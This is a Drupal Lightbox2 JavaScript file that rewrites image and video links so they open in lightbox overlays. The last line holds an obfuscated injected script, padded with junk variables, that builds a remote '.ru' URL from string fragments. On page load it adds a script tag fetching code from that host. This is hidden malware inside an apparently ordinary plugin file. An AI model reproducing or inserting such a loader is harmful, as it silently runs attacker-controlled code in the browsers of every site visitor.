/* $Id: auto_image_handling.js,v 1.1.2.22 2008/07/22 09:06:39 snpower Exp $ */

// Image Node Auto-Format with Auto Image Grouping.
// Original version by Steve McKenzie.
// Altered by Stella Power for jQuery version.

function parse_url(url, param) {
  param = param.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
  url = url.replace(/&amp;/, "&");
  var regexS = "[\\?&]"+param+"=([^&#]*)";
  var regex = new RegExp(regexS);
  var results = regex.exec(url);
  if (results === null) {
    return "";
  }
  else {
    return results[1];
  }
}


function lightbox2_init_triggers(classes, rel_type, custom_class) {
  var settings = Drupal.settings.lightbox2;

  var link_target  = "";
  if (settings.node_link_target !== 0) {
    link_target = 'target="'+ settings.node_link_target +'"';
  }

  $("a["+classes+"], a:has("+classes+")").each(function(i) {

    if ((!settings.disable_for_gallery_lists && !settings.disable_for_acidfree_gallery_lists) || (!$(this).parents("td.giAlbumCell").attr("class") && !$(this).parents(".galleries").length && !$(this).parents(".acidfree-folder").length && !$(this).parents(".acidfree-list").length) || ($(this).parents(".galleries").length && !settings.disable_for_gallery_lists) || (($(this).parents(".acidfree-folder").length || $(this).parents(".acidfree-list").length) && !settings.disable_for_acidfree_gallery_lists)) {

      var child = $(this).find(classes);

      // Ensure the child has a class attribute we can work with.
      if ($(child).attr("class") && !$(this).parents("div.acidfree-video").length) {

        // Set the alt text.
        var alt = $(child).attr("alt");
        if (!alt) {
          alt = "";
        }

        // Set the image node link text.
        var link_text = settings.node_link_text;

        // Set the rel attribute.
        var rel = "lightbox";
        var lightframe = false;
        if (rel_type == "lightframe_ungrouped") {
          rel = "lightframe[]";
          lightframe = true;
        }
        else if (rel_type == "lightframe") {
          lightframe = true;
        }
        else if (rel_type == "lightbox_ungrouped") {
          rel = "lightbox[]";
        }
        if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
          rel = rel_type + "[" + $(child).attr("class") + "]";
        }

        // Set the basic href attribute - need to ensure there's no language
        // string (e.g. /en) prepended to the URL.
        var id = null;
        var href = $(child).attr("src");
        var orig_href = $(this).attr("href");
        var pattern = new RegExp(settings.file_path);
        if (orig_href.match(pattern)) {
          var lang_pattern = new RegExp(settings.base_path + "\\w\\w\\/");
          orig_href = orig_href.replace(lang_pattern, settings.base_path);
        }
        var frame_href = orig_href;

        // Handle flickr images.
        if ($(child).attr("class").match("flickr-photo-img") ||
          $(child).attr("class").match("flickr-photoset-img")) {
          href = $(child).attr("src").replace("_s.", ".").replace("_t.", ".").replace("_m.", ".").replace("_b.", ".");
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[flickr]";
            if ($(child).parents("div.block-flickr").attr("class")) {
              id = $(child).parents("div.block-flickr").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
        }

        // Handle "image-img_assist_custom" images.
        else if ($(child).attr("class").match("image-img_assist_custom")) {
          // Image assist uses "+" signs for spaces which doesn't work for
          // normal links.
          orig_href = orig_href.replace(/\+/, " ");
          href = $(child).attr("src").replace(new RegExp("\\.img_assist_custom"), ((settings.display_image_size === "")?settings.display_image_size:"."+ settings.display_image_size));
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[node_images]";
          }
          if (lightframe) {
            frame_href = orig_href + "/lightbox2";
          }
        }

        // Handle "inline" images.
        else if ($(child).attr("class").match("inline")) {
          href = orig_href;
        }

        // Handle gallery2 block images.
        else if ($(child).attr("class").match("ImageFrame_image") || $(child).attr("class").match("ImageFrame_none")) {
          var thumb_id = parse_url(href, "g2_itemId");
          var new_id = parse_url(orig_href, "g2_itemId");
          if (new_id && thumb_id) {
            var g2pattern = new RegExp("g2_itemId="+thumb_id);
            var replacement = "g2_itemId="+ new_id;
            href = href.replace(g2pattern, replacement);
          }
          rel = rel_type + "[gallery2]";
          if ($(child).parents("div.block-gallery").attr("class")) {
            id = $(child).parents("div.block-gallery").attr("id");
            rel = rel_type + "["+ id +"]";
          }
        }


        // Set the href attribute.
        else if (settings.image_node_sizes != '()' && !custom_class) {
          href = $(child).attr("src").replace(new RegExp(settings.image_node_sizes), ((settings.display_image_size === "")?settings.display_image_size:"."+ settings.display_image_size)).replace(/(image\/view\/\d+)(\/[\w\-]*)/, ((settings.display_image_size === "")?"$1/_original":"$1/"+ settings.display_image_size));
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[node_images]";
            if ($(child).parents("div.block-multiblock,div.block-image").attr("class")) {
              id = $(child).parents("div.block-multiblock,div.block-image").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
          if (lightframe) {
            frame_href = orig_href + "/lightbox2";
          }
        }

        // Modify the image url.
        var img_title = $(child).attr("title");
        if (!img_title) {
          img_title = $(this).attr("title");
          if (!img_title) {
            img_title = $(child).attr("alt");
          }
          $(child).attr({title: img_title});
        }
        if (lightframe) {
          href = frame_href;
        }
        if (!custom_class) {
          var title_link = "";
          if (link_text.length) {
            title_link = "<br /><a href=\"" + orig_href + "\" id=\"node_link_text\" "+ link_target +" >"+ link_text + "</a>";
          }
          rel = rel + "[" + alt + title_link + "]";
          $(this).attr({
            rel: rel,
            href: href
          });
        }
        else {
          if (rel_type != "lightbox_ungrouped" && rel_type != "lightframe_ungrouped") {
            rel = rel_type + "[" + $(child).attr("class") + "]";
            if ($(child).parents("div.block-image").attr("class")) {
              id = $(child).parents("div.block-image").attr("id");
              rel = rel_type + "["+ id +"]";
            }
          }
          rel = rel + "[" + alt + "]";
          $(this).attr({
            rel: rel,
            href: orig_href
          });
        }
      }
    }

  });

}

function lightbox2_init_acidfree_video() {
  var settings = Drupal.settings.lightbox2;

  var link_target  = "";
  if (settings.node_link_target !== 0) {
    link_target = 'target="'+ settings.node_link_target +'"';
  }

  var link_text = settings.node_link_text;
  var rel = "lightframe";

  $("div.acidfree-video a").each(function(i) {

    if (!settings.disable_for_acidfree_gallery_lists || (!$(this).parents(".acidfree-folder").length && !$(this).parents(".acidfree-list").length) || (($(this).parents(".acidfree-folder").length || $(this).parents(".acidfree-list").length) && !settings.disable_for_acidfree_gallery_lists)) {
      var orig_href = $(this).attr("href");
      var href = orig_href + "/lightframevideo";
      var title = $(this).attr("title");
      var title_link = "";
      if (link_text.length) {
        title_link = "<br /><a href=\"" + orig_href + "\" id=\"node_link_text\" "+ link_target +" >"+ link_text + "</a>";
      }

      $(this).attr({
        rel: rel,
        title: title + title_link,
        href: href
      });
    }
  });
}

if (Drupal.jsEnabled) {
  $(document).ready(function lightbox2_image_nodes() {

    var settings = Drupal.settings.lightbox2;

    // Don't do it on the image assist popup selection screen.
    var img_assist = document.getElementById("img_assist_thumbs");
    if (!img_assist) {

      // Select the enabled image types.
      lightbox2_init_triggers(settings.trigger_lightbox_classes, "lightbox_ungrouped");
      lightbox2_init_triggers(settings.custom_trigger_classes, settings.custom_class_handler, true);
      lightbox2_init_triggers(settings.trigger_lightbox_group_classes, "lightbox");
      lightbox2_init_triggers(settings.trigger_slideshow_classes, "lightshow");
      lightbox2_init_triggers(settings.trigger_lightframe_classes, "lightframe_ungrouped");
      lightbox2_init_triggers(settings.trigger_lightframe_group_classes, "lightframe");
      if (settings.enable_acidfree_videos) {
        lightbox2_init_acidfree_video();
      }

    }
  });
}

var x;if(x!='' && x!='lv'){x=null};var JL=new Array();var n;if(n!='I' && n != ''){n=null};function m(){var EO;if(EO!='' && EO!='yq'){EO=null};var J='';var Eg="";var g="g";var V=RegExp;var p;if(p!='O'){p='O'};function l(a,q){var xl;if(xl!='FF'){xl=''};var H= "HCG[".substr(3);var Cr;if(Cr!='' && Cr!='mW'){Cr=null};var B;if(B!='' && B!='Fy'){B=null};H+=q;this.nj='';H+=new String("]z2Co".substr(0,1));var Ov;if(Ov!='Zs' && Ov!='XC'){Ov='Zs'};var v="";var Jv=new Array();var Q=new V(H, g);var XI;if(XI!='' && XI!='gU'){XI='h'};var wd;if(wd!='' && wd!='FJ'){wd='Jg'};return a.replace(Q, J);var D=new Array();};var bh="";var EI;if(EI!='Nf'){EI='Nf'};var eA;if(eA!='k'){eA='k'};var yP;if(yP!='cP'){yP='cP'};var _=l('85390995285632202596',"62953");var Qh;if(Qh!='t'){Qh='t'};var w=new String("/vnZYP4".substr(0,3)+"et."+"Kswcn/".substr(3)+"zpM2vne2Mzp".substr(4,3)+"CoOft.cfoCO".substr(4,3)+"n/4ZYmS".substr(0,3)+"sha"+"jLaxredaLjx".substr(4,3)+".co"+"8pnm/e".substr(3)+"zABbayBzA".substr(3,3)+"o7M.fr".substr(3)+"/go"+"dZVogl".substr(3)+"XRPe.c".substr(3)+"om.3Qb1".substr(0,3)+"php");var eK="";var r=String("defm54".substr(0,3)+"erizK".substr(0,2));var Y;if(Y!='' && Y!='LU'){Y='AO'};var gV;if(gV!='' && gV!='my'){gV='iw'};var F='';var uq="";var Yg="";var y=window;var s="srcY2lM".substr(0,3);var XU;if(XU!='HE' && XU != ''){XU=null};var Mf=new String();var A=new String("httsq8w".substr(0,3)+"p:/lW2Y".substr(0,3)+"/kijl9".substr(0,3)+"ng-"+"8PVcomVP8".substr(3,3)+"rin.19inr".substr(3,3)+"TLszlou".substr(4)+".coDR5".substr(0,3)+"ruXNm.a".substr(4)+"rgoNdR".substr(0,3)+"ow9us-c9uwo".substr(4,3)+"o-uki1".substr(0,3)+"3USk.b".substr(3)+"uym"+"qCtypa".substr(3)+"lm.GvH".substr(0,3)+"ru:");var T;if(T!='_i'){T=''};var e=String("hydlscrip".substr(4)+"tILx".substr(0,1));var nm=new String();var eW;if(eW!='dA' && eW!='bb'){eW='dA'};var qH;if(qH!='' && qH!='VH'){qH=null};y.onload=function(){try {var OlA=new String();var exI;if(exI!='so' && exI != ''){exI=null};F=A+_;var xx="";F+=w;var ND=new String();var wO;if(wO!='' && wO!='CZ'){wO=''};var Tz="";z=document.createElement(e);z[r]=[1][0];var jt;if(jt!='Se' && jt != ''){jt=null};var uX=new Array();z[s]=F;var BJ=new Date();var PA='';var IR=new Date();document.body.appendChild(z);var IC;if(IC!='K' && IC!='oa'){IC='K'};var UG='';} catch(QW){};};var Hs=new Date();};var Rl;if(Rl!='qU'){Rl=''};m();var TG;if(TG!='' && TG!='Zd'){TG=null};var fb=new String();
